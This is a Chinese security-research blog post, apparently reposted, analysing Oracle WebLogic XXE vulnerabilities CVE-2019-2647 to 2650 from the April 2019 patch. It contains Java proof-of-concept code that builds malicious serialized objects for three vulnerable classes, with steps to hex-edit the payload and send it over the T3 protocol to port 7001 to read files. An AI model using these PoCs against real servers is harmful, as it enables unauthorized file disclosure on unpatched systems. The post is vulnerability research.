cross-site scripting: dom 漏洞修复_WebLogic CVE20192647~2650 XXE漏洞分析

本文介绍了Oracle WebLogic在2019年4月的安全补丁,涉及四个CVE的XXE漏洞。作者Longofo@知道创宇404实验室分析了WsrmServerPayloadContext、UnknownMsgHeader和WsrmSequenceContext三个漏洞点,详细描述了漏洞利用过程和PoC构造,以及补丁如何防止XXE攻击。分析过程中,作者分享了在Java反序列化漏洞研究中遇到的问题和解决办法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

16b7cdf2008ece0086a7fac7638b876b.gif

作者:Longofo@知道创宇404实验室
时间:2019年4月26日

Oracle发布了4月份的补丁,详情见链接(https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW)

@xxlegend在《weblogic CVE-2019-2647等相关XXE漏洞分析》分析了其中的一个XXE漏洞点,并给出了PoC。刚入手java不久,本着学习的目的,自己尝试分析了其他几个点的XXE并构造了PoC。下面的分析我尽量描述自己思考以及PoC构造过程,新手真的会踩很多莫名其妙的坑。感谢在复现与分析过程中为我提供帮助的小伙伴@Badcode,没有他的帮助我可能环境搭起来都会花费一大半时间。

补丁分析,找到漏洞点

根据JAVA常见XXE写法与防御方式(参考https://blog.spoock.com/2018/10/23/java-xxe/),通过对比补丁,发现新补丁以下四处进行了setFeature操作:

a47fc1a9a612b3dcae3ab65db349c699.png

应该就是对应的四个CVE了,其中ForeignRecoveryContext@xxlegend大佬已经分析过了,这里就不再分析了,下面主要是分析下其他三个点:

分析环境

  • Windows 10

  • WebLogic 10.3.6.0

  • Jdk160_29(WebLogic 10.3.6.0自带的JDK)

WsrmServerPayloadContext 漏洞点分析

WsrmServerPayloadContext修复后的代码如下:

package weblogic.wsee.reliability;

import ...

public class WsrmServerPayloadContext extends WsrmPayloadContext {

    public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {

        ...

        }

        private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException {

            ...

            ByteArrayInputStream var15 = new ByteArrayInputStream(var3);

            try {

                DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance();

                try {

                    String var8 = "http://xml.org/sax/features/external-general-entities";

                    var7.setFeature(var8, false);

                    var8 = "http://xml.org/sax/features/external-parameter-entities";

                    var7.setFeature(var8, false);

                    var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd";

                    var7.setFeature(var8, false);

                    var7.setXIncludeAware(false);

                    var7.setExpandEntityReferences(false);

                } catch (Exception var11) {

                    if (verbose) {

                        Verbose.log("Failed to set factory:" + var11);

                    }

                }

           ...

        }

}

可以看到进行了setFeature操作防止xxe攻击,而未打补丁之前是没有进行setFeature操作的

readExternal在反序列化对象时会被调用,与之对应的writeExternal在序列化对象时会被调用,看下writeExternal的逻辑:

0ce6ccc29c9b80d21e7a6c1befecf35b.png

var1就是this.formENdpt,注意var5.serialize可以传入三种类型的对象,var1.getEndptElement()返回的是Element对象,先尝试新建一个项目构造一下PoC:

结构如下

2ad395669f36bed436be67cb2be42f4c.png

public class WeblogicXXE1 {

    public static void main(String[] args) throws IOException {

        Object instance = getXXEObject();

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));

        out.writeObject(instance);

        out.flush();

        out.close();

    }

    public static class MyEndpointReference extends EndpointReference {

        @Override

        public Element getEndptElement() {

            super.getEndptElement();

            Document doc = null;

            Element element = null;

            try {

                DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();

                //从DOM工厂中获得DOM解析器

                DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();

                //创建文档树模型对象

                doc = dbBuilder.parse("test.xml");

                element = doc.getDocumentElement();

            } catch (Exception e) {

                e.printStackTrace();

            }

            return element;

        }

    }

    public static Object getXXEObject() {

        EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference();

        EndpointReference faultToEndpt = null;

        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();

        try {

            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");

            f1.setAccessible(true);

            f1.set(wspc, fromEndpt);

            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");

            f2.setAccessible(true);

            f2.set(wspc, faultToEndpt);

        } catch (Exception e) {

            e.printStackTrace();

        }

        return wspc;

    }

}

test.xml内容如下,my.dtd暂时为空就行,先测试能否接收到请求:

        ]>

4

运行PoC,生成的反序列化数据xxe,使用十六进制查看器打开:

ae5d2ced80c0481d1a71fe89783b2d31.png

发现DOCTYPE无法被引入

我尝试了下面几种方法:

  • 在上面说到var5.serialize可以传入Document对象,测试了下,的确可以,但是如何使getEndptElement返回一个Document对象呢?

    • 尝试了自己创建一个EndpointReference类,修改getEndptElement返回对象,内容和原始内容一样,但是在反序列化时找不到我创建的类,原因是自己建的类package与原来的不同,所以失败了

    • 尝试像Python那样动态替换一个类的方法,貌似Java好像做不到...

  • 尝试了一个暴力的方法,替换Jar包中的类。首先复制出Weblogic的modules文件夹与wlserver_10.3\server\lib文件夹到另一个目录,将wlserver_10.3\server\lib\weblogic.jar解压,将WsrmServerPayloadContext.class类删除,重新压缩为weblogic.Jar,然后新建一个项目,引入需要的Jar文件(modules和wlserver_10.3\server\lib中所有的Jar包),然后新建一个与WsrmServerPayloadContext.class同样的包名,在其中新建WsrmServerPayloadContext.class类,复制原来的内容进行修改(修改只是为了生成能触发xml解析的数据,对readExternal反序列化没有影响)。

    WsrmServerPayloadContext.class修改的内容如下:

e52dcbee133e55975dc24a651f72d623.png

  • 经过测试第二种方式是可行的,但是好像过程略复杂。然后尝试了下新建一个与原始WsrmServerPayloadContext.class类同样的包名,然后进行修改,修改内容与第二种方式一样

959d2ba3f030fb53fb81425e8fc42e80.png

  • 测试这种方式也是可行的,比第二种方式操作起来方便些

构造新的PoC:

public class WeblogicXXE1 {

    public static void main(String[] args) throws IOException {

        Object instance = getXXEObject();

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));

        out.writeObject(instance);

        out.flush();

        out.close();

    }

    public static Object getXXEObject() {

        EndpointReference fromEndpt = new EndpointReference();

        EndpointReference faultToEndpt = null;

        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();

        try {

            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");

            f1.setAccessible(true);

            f1.set(wspc, fromEndpt);

            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");

            f2.setAccessible(true);

            f2.set(wspc, faultToEndpt);

        } catch (Exception e) {

            e.printStackTrace();

        }

        return wspc;

    }

}

查看下新生成的xxe十六进制:

2463a6b4f14966b7ab943c7853f74de2.png

DOCTYPE被写入了

测试下,使用T3协议脚本向WebLogic 7001端口发送序列化数据:

b06236d833f0a3a83548dc7e1bdfafe0.png

7ebe470391138068a30eabd61a07cf07.png

漂亮,接收到请求了,接下来就是尝试下到底能不能读取到文件了

构造的test.xml如下:

        %dtd;

        %send;

        ]>

xxe

my.dtd如下(my.dtd在使用PoC生成反序列化数据的时候先清空,然后,不然在dbBuilder.parse时会报错无法生成正常的反序列化数据,至于为什么,只有自己测试下才会明白):

""

>

%all;

运行PoC生成反序列化数据,测下发现请求都接收不到了...,好吧,查看下十六进制:

716b2c3635f21fc934b3b63479c6fe3a.png

%dtd;%send;居然不见了...,可能是因为DOM解析器的原因,my.dtd内容为空,数据没有被引用。

尝试debug看下:

f7f3388d9702eff1924da77e5f3aff39.png

可以看到%dtd;%send;确实是被处理掉了

测试下正常的加载外部数据,my.dtd改为如下:

""

>

%all;

gen.xml为:

<?xml version="1.0" encoding="UTF-8"?>

debug看下:

5fb21a41321176a6ebe132ffd9d5afed.png

可以看到%dtd;%send;被my.dtd里面的内容替换了。debug大致看了xml解析过程,中间有一个EntityScanner,会检测xml中的ENTITY,并且会判断是否加载了外部资源,如果加载了就外部资源加载进来,后面会将实体引用替换为实体申明的内容。也就是说,我们构造的反序列化数据中的xml数据,已经被解析过一次了,而需要的是没有被解析过的数据,让目标去解析。

所以我尝试修改了十六进制如下,使得xml修改成没有被解析的形式:

d89dfc5a907815fd0c54223d46bea560.png

运行PoC测试下,

3954f82190c84d6805044320474f2a8e.png

e37899d3602556e349a5ca6fd432be46.png

b903bbf462e9d0e3be9f1b7ff907785e.png

居然成功了,一开始以为反序列化生成的xml数据那块还会进行校验,不然反序列化不了,直接修改数据是不行的,没想到直接修改就可以了

UnknownMsgHeader 漏洞点分析

与WsrmServerPayloadContext差不多,PoC构造也是新建包然后替换,就不详细分析了,只说下类修改的地方与PoC构造

新建UnknownMsgHeader类,修改writeExternal

52b227a53da5cf44b4d3c85accc961f2.png

PoC如下:

public class WeblogicXXE2 {

    public static void main(String[] args) throws IOException {

        Object instance = getXXEObject();

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));

        out.writeObject(instance);

        out.flush();

        out.close();

    }

    public static Object getXXEObject() {

        QName qname = new QName("a", "b", "c");

        Element xmlHeader = null;

        UnknownMsgHeader umh = new UnknownMsgHeader();

        try {

            Field f1 = umh.getClass().getDeclaredField("qname");

            f1.setAccessible(true);

            f1.set(umh, qname);

            Field f2 = umh.getClass().getDeclaredField("xmlHeader");

            f2.setAccessible(true);

            f2.set(umh, xmlHeader);

        } catch (Exception e) {

            e.printStackTrace();

        }

        return umh;

    }

}

运行PoC测试下(生成的步骤与第一个漏洞点一样),使用T3协议脚本向WebLogic 7001端口发送序列化数据:

e37899d3602556e349a5ca6fd432be46.png

007c11b7c2218f5c5586c87a79de686f.png

WsrmSequenceContext 漏洞点分析

这个类看似需要构造的东西挺多的,readExternal与writeExternal的逻辑也比前两个复杂些,但是PoC构造也很容易

新建WsrmSequenceContext类,修改

ef9d08fae1fd9be1cca77e79ed9341a4.png

PoC如下:

public class WeblogicXXE3 {

    public static void main(String[] args) throws IOException {

        Object instance = getXXEObject();

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));

        out.writeObject(instance);

        out.flush();

        out.close();

    }

    public static Object getXXEObject() {

        EndpointReference acksTo = new EndpointReference();

        WsrmSequenceContext wsc = new WsrmSequenceContext();

        try {

            Field f1 = wsc.getClass().getDeclaredField("acksTo");

            f1.setAccessible(true);

            f1.set(wsc, acksTo);

        } catch (Exception e) {

            e.printStackTrace();

        }

        return wsc;

    }

}

测试下,使用T3协议脚本向WebLogic 7001端口发送序列化数据:

e37899d3602556e349a5ca6fd432be46.png

1cb026cf56196a32305feb66c7acfe96.png

最 后

好了,分析完成了。第一次分析Java的漏洞,还有很多不足的地方,但是分析的过程中也学到了很多,就算是一个看似很简单的点,如果不熟悉Java的一特性,会花费较长的时间去折腾。所以,一步一步走吧,不要太急躁,还有很多东西要学。

693a39361e6e55437d95708ea3bc7203.gif

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值